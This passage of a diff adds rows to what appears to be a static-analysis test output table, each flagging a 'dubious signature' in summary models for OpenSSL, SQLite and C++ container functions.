*,const X509 *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,const X509_CRL *)" in summary model. | +| Dubious signature "(const X509_CRL *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_CRL *,int,int)" in summary model. | +| Dubious signature "(const X509_CRL *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CRL_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_EXTENSION *)" in summary model. | +| Dubious signature "(const X509_EXTENSION *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_EXTENSIONS *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_LOOKUP *)" in summary model. | +| Dubious signature "(const X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(const X509_NAME *)" in summary model. | +| Dubious signature "(const X509_NAME *,OSSL_LIB_CTX *,const char *,int *)" in summary model. | +| Dubious signature "(const X509_NAME *,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_OBJECT *,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_NAME *,const X509_NAME *)" in summary model. | +| Dubious signature "(const X509_NAME *,const char **)" in summary model. | +| Dubious signature "(const X509_NAME *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const X509_NAME *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,int,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,int,int)" in summary model. | +| Dubious signature "(const X509_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_NAME_ENTRY *)" in summary model. | +| Dubious signature "(const X509_NAME_ENTRY *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_LEVEL *,int)" in summary model. | +| Dubious signature "(const X509_POLICY_NODE *)" in summary model. | +| Dubious signature "(const X509_POLICY_TREE *)" in summary model. | +| Dubious signature "(const X509_POLICY_TREE *,int)" in summary model. | +| Dubious signature "(const X509_PUBKEY *)" in summary model. | +| Dubious signature "(const X509_PUBKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_PURPOSE *)" in summary model. | +| Dubious signature "(const X509_REQ *)" in summary model. | +| Dubious signature "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_REQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_REQ *,int)" in summary model. | +| Dubious signature "(const X509_REQ *,int,int)" in summary model. | +| Dubious signature "(const X509_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_REQ_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_REVOKED *)" in summary model. | +| Dubious signature "(const X509_REVOKED *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)" in summary model. | +| Dubious signature "(const X509_SIG *,const char *,int)" in summary model. | +| Dubious signature "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)" in summary model. | +| Dubious signature "(const X509_STORE *)" in summary model. | +| Dubious signature "(const X509_STORE *,int)" in summary model. | +| Dubious signature "(const X509_STORE_CTX *)" in summary model. | +| Dubious signature "(const X509_STORE_CTX *,int)" in summary model. | +| Dubious signature "(const X509_TRUST *)" in summary model. | +| Dubious signature "(const X509_VAL *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_VERIFY_PARAM *)" in summary model. | | Dubious signature "(const XCHAR *)" in summary model. | | Dubious signature "(const XCHAR *,int)" in summary model. | | Dubious signature "(const XCHAR *,int,AtlStringMgr *)" in summary model. | | Dubious signature "(const XCHAR *,int,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)" in summary model. | | Dubious signature "(const YCHAR *)" in summary model. | | Dubious signature "(const YCHAR *,int)" in summary model. | | Dubious signature "(const YCHAR *,int,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const char *)" in summary model. | +| Dubious signature "(const char **)" in summary model. | +| Dubious signature "(const char **,int *)" in summary model. | +| Dubious signature "(const char **,int *,const char **,const char **,int *)" in summary model. | +| Dubious signature "(const char **,int *,const char **,int *)" in summary model. | +| Dubious signature "(const char *,BIO *,BIO *,int)" in summary model. | +| Dubious signature "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(const char *,BIT_STRING_BITNAME *)" in summary model. | +| Dubious signature "(const char *,DB_ATTR *)" in summary model. | +| Dubious signature "(const char *,DES_cblock *)" in summary model. | +| Dubious signature "(const char *,DES_cblock *,DES_cblock *)" in summary model. | +| Dubious signature "(const char *,EVP_CIPHER **)" in summary model. | +| Dubious signature "(const char *,EVP_MD **)" in summary model. | +| Dubious signature "(const char *,OSSL_CMP_severity *,char **,char **,int *)" in summary model. | +| Dubious signature "(const char *,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(const char *,SD *,int)" in summary model. | +| Dubious signature "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(const char *,char *)" in summary model. | +| Dubious signature "(const char *,char **,char **,BIO_hostserv_priorities)" in summary model. | +| Dubious signature "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)" in summary model. | +| Dubious signature "(const char *,char **,int,unsigned long *)" in summary model. | +| Dubious signature "(const char *,char **,size_t)" in summary model. | +| Dubious signature "(const char *,char *,size_t)" in summary model. | +| Dubious signature "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const OPT_PAIR *,int *)" in summary model. | +| Dubious signature "(const char *,const OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)" in summary model. | +| Dubious signature "(const char *,const char *,char *)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,const BIGNUM *,ASN1_INTEGER **)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,int)" in summary model. | +| Dubious signature "(const char *,const char *,int)" in summary model. | +| Dubious signature "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,const char *,int,const char *,const char *,const char *,const char *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)" in summary model. | +| Dubious signature "(const char *,const char *,size_t)" in summary model. | +| Dubious signature "(const char *,const char *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const char *,unsigned int)" in summary model. | +| Dubious signature "(const char *,const size_t,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const unsigned char *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,double *)" in summary model. | +| Dubious signature "(const char *,int32_t *)" in summary model. | +| Dubious signature "(const char *,int64_t *)" in summary model. | +| Dubious signature "(const char *,int *)" in summary model. | +| Dubious signature "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)" in summary model. | +| Dubious signature "(const char *,int)" in summary model. | +| Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)" in summary model. | +| Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,int,const char *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,int,const char *,const char *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,int,const char *,const char *,const BIGNUM *,unsigned long)" in summary model. | +| Dubious signature "(const char *,int,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(const char *,int,int,int)" in summary model. | +| Dubious signature "(const char *,int,long)" in summary model. | +| Dubious signature "(const char *,int,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,int,stack_st_OPENSSL_STRING *,const char *)" in summary model. | +| Dubious signature "(const char *,int,stack_st_X509 **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,int,unsigned char **,int *)" in summary model. | +| Dubious signature "(const char *,long *)" in summary model. | +| Dubious signature "(const char *,long *,char *)" in summary model. | +| Dubious signature "(const char *,long *,int)" in summary model. | +| Dubious signature "(const char *,size_t *)" in summary model. | +| Dubious signature "(const char *,size_t)" in summary model. | +| Dubious signature "(const char *,size_t,const char *,int)" in summary model. | +| Dubious signature "(const char *,sqlite3 **,int,const char *)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *,int)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *,sqlite3_int64)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,int)" in summary model. | +| Dubious signature "(const char *,stack_st_X509_CRL **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,time_t *)" in summary model. | +| Dubious signature "(const char *,uint32_t *)" in summary model. | +| Dubious signature "(const char *,uint64_t *)" in summary model. | +| Dubious signature "(const char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const char *,unsigned int *)" in summary model. | +| Dubious signature "(const char *,unsigned long *)" in summary model. | +| Dubious signature "(const char *,va_list)" in summary model. | +| Dubious signature "(const char *,void *)" in summary model. | +| Dubious signature "(const char *,void **,size_t)" in summary model. | +| Dubious signature "(const char *,void *,size_t)" in summary model. | +| Dubious signature "(const char *const *,const char *const *)" in summary model. | +| Dubious signature "(const curve448_point_t)" in summary model. | +| Dubious signature "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)" in summary model. | | Dubious signature "(const deque &)" in summary model. | | Dubious signature "(const deque &,const Allocator &)" in summary model. | | Dubious signature "(const forward_list &)" in summary model. | | Dubious signature "(const forward_list &,const Allocator &)" in summary model. | +| Dubious signature "(const gf)" in summary model. | +| Dubious signature "(const gf,const gf)" in summary model. | +| Dubious signature "(const int[],BIGNUM *)" in summary model. | +| Dubious signature "(const int_dhx942_dh *,unsigned char **)" in summary model. | | Dubious signature "(const list &)" in summary model. | | Dubious signature "(const list &,const Allocator &)" in summary model. | +| Dubious signature "(const sqlite3_value *)" in summary model. | +| Dubious signature "(const stack_st_SCT *,unsigned char **)" in summary model. | +| Dubious signature "(const stack_st_X509 *)" in summary model. | +| Dubious signature "(const stack_st_X509 *,const stack_st_X509 *)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,int,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int,int *,int *)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int,int)" in summary model. | +| Dubious signature "(const stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(const time_t *,tm *)" in summary model. | +| Dubious signature "(const u128[16],uint8_t *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const uint8_t *,SM4_KEY *)" in summary model. | +| Dubious signature "(const uint8_t *,int,int,PROV_CTX *,const char *)" in summary model. | +| Dubious signature "(const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const uint8_t *,size_t,ML_KEM_KEY *)" in summary model. | +| Dubious signature "(const uint8_t *,uint8_t *,const SM4_KEY *)" in summary model. | | Dubious signature "(const unsigned char *)" in summary model. | +| Dubious signature "(const unsigned char **,long *,int *,int *,long)" in summary model. | +| Dubious signature "(const unsigned char **,long)" in summary model. | +| Dubious signature "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)" in summary model. | +| Dubious signature "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)" in summary model. | | Dubious signature "(const unsigned char *,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const unsigned char *,const int,ARIA_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,hm_header_st *)" in summary model. | +| Dubious signature "(const unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,int,BIGNUM *)" in summary model. | +| Dubious signature "(const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const ECDSA_SIG *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned long *)" in summary model. | +| Dubious signature "(const unsigned char *,long)" in summary model. | +| Dubious signature "(const unsigned char *,long,char)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,uint64_t *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,RC2_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const ARIA_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const BF_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const CAST_KEY *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,const_DES_cblock *,const_DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_cblock *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,IDEA_KEY_SCHEDULE *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,RC2_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const BF_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,long,const CAST_KEY *,unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,const AES_KEY *,const unsigned char *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char *,int *,const int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const CAMELLIA_KEY *,unsigned char[16],unsigned char[16],unsigned int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],cbc128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],int *,int,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,block128_f)" in summary model. | +| Dubious signature "(const unsigned char *,unsigned char *,size_t,const void *,unsigned char[16],unsigned char[16],unsigned int *,ctr128_f)" in summary model. | +| Dubious signature "(const unsigned char[16],SEED_KEY_SCHEDULE *)" in summary model. | +| Dubious signature "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)" in summary model. | | Dubious signature "(const vector &)" in summary model. | | Dubious signature "(const vector &,const Allocator &)" in summary model. | +| Dubious signature "(const void *,const void *)" in summary model. | +| Dubious signature "(const void *,const void *,int)" in summary model. | +| Dubious signature "(const void *,const void *,int,int,..(*)(..))" in summary model. | +| Dubious signature "(const void *,const void *,int,int,..(*)(..),int)" in summary model. | +| Dubious signature "(const void *,size_t,const char *,int)" in summary model. | +| Dubious signature "(const void *,size_t,unsigned char *)" in summary model. | +| Dubious signature "(const void *,size_t,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const void *,sqlite3 **)" in summary model. | +| Dubious signature "(const_DES_cblock *)" in summary model. | | Dubious signature "(const_iterator,T &&)" in summary model. | | Dubious signature "(const_iterator,const T &)" in summary model. | | Dubious signature "(const_iterator,size_type,const T &)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_point_t)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_precomputed_s *,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_point_t,const curve448_scalar_t,const curve448_point_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_point_t,const uint8_t[57])" in summary model. | +| Dubious signature "(curve448_scalar_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const curve448_scalar_t,const curve448_scalar_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(curve448_scalar_t,const unsigned char[56])" in summary model. | +| Dubious signature "(custom_ext_methods *,const custom_ext_methods *)" in summary model. | +| Dubious signature "(d2i_of_void *,const char *,BIO *,void **,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(d2i_of_void *,const char *,FILE *,void **,pem_password_cb *,void *)" in summary model. | | Dubious signature "(deque &&)" in summary model. | | Dubious signature "(deque &&,const Allocator &)" in summary model. | | Dubious signature "(format_string,Args &&)" in summary model. | | Dubious signature "(forward_list &&)" in summary model. | | Dubious signature "(forward_list &&,const Allocator &)" in summary model. | +| Dubious signature "(gf,const gf,const gf)" in summary model. | +| Dubious signature "(gf,const uint8_t[56],int,uint8_t)" in summary model. | +| Dubious signature "(i2d_of_void *,BIO *,const void *)" in summary model. | +| Dubious signature "(i2d_of_void *,FILE *,const void *)" in summary model. | +| Dubious signature "(i2d_of_void *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,char *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(i2d_of_void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(i2d_of_void *,const char *,FILE *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *)" in summary model. | +| Dubious signature "(i2d_of_void *,d2i_of_void *,const void *)" in summary model. | +| Dubious signature "(int64_t *,const ASN1_ENUMERATED *)" in summary model. | +| Dubious signature "(int64_t *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(int *,ASN1_TIME **,const ASN1_TIME *)" in summary model. | +| Dubious signature "(int *,X509 *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(int *,const char *,const char *,const char *,const char *,int,int,int,int,int,BIO_ADDR **)" in summary model. | +| Dubious signature "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)" in summary model. | +| Dubious signature "(int *,int *,const EVP_PKEY_METHOD *)" in summary model. | +| Dubious signature "(int *,int *,const tm *,const tm *)" in summary model. | +| Dubious signature "(int *,int *,int *,const char **,const char **,const EVP_PKEY_ASN1_METHOD *)" in summary model. | +| Dubious signature "(int *,int *,size_t)" in summary model. | +| Dubious signature "(int *,int)" in summary model. | +| Dubious signature "(int *,sqlite3_stmt *)" in summary model. | +| Dubious signature "(int *,unsigned char **,const ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(int,BIO_ADDR *,int)" in summary model. | +| Dubious signature "(int,CRYPTO_EX_DATA *,const CRYPTO_EX_DATA *)" in summary model. | +| Dubious signature "(int,ENGINE *)" in summary model. | +| Dubious signature "(int,ENGINE *,const unsigned char *,int)" in summary model. | +| Dubious signature "(int,ENGINE *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(int,ERR_STRING_DATA *)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,BIO *)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(int,EVP_PKEY **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OCSP_BASICRESP *)" in summary model. | +| Dubious signature "(int,OSSL_CRMF_MSG *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OSSL_HPKE_SUITE,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,SSL *,const unsigned char *,long)" in summary model. | +| Dubious signature "(int,SSL_CTX *,const unsigned char *,long)" in summary model. | +| Dubious signature "(int,SSL_EXCERT **)" in summary model. | +| Dubious signature "(int,X509_STORE_CTX *)" in summary model. | +| Dubious signature "(int,char **)" in summary model. | +| Dubious signature "(int,char **,char *[])" in summary model. | +| Dubious signature "(int,char **,const OPTIONS *)" in summary model. | +| Dubious signature "(int,char *,const char *,...)" in summary model. | +| Dubious signature "(int,char *,const char *,va_list)" in summary model. | +| Dubious signature "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(int,const EVP_CIPHER *,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const OSSL_ALGORITHM *,OSSL_PROVIDER *)" in summary model. | +| Dubious signature "(int,const OSSL_STORE_INFO *)" in summary model. | +| Dubious signature "(int,const char *)" in summary model. | +| Dubious signature "(int,const char **,int *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(int,const char *,int,unsigned char *,int,int,stack_st_PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(int,const regex_t *,char *,size_t)" in summary model. | +| Dubious signature "(int,const unsigned char *,int,const unsigned char *,int,DSA *)" in summary model. | +| Dubious signature "(int,const unsigned char 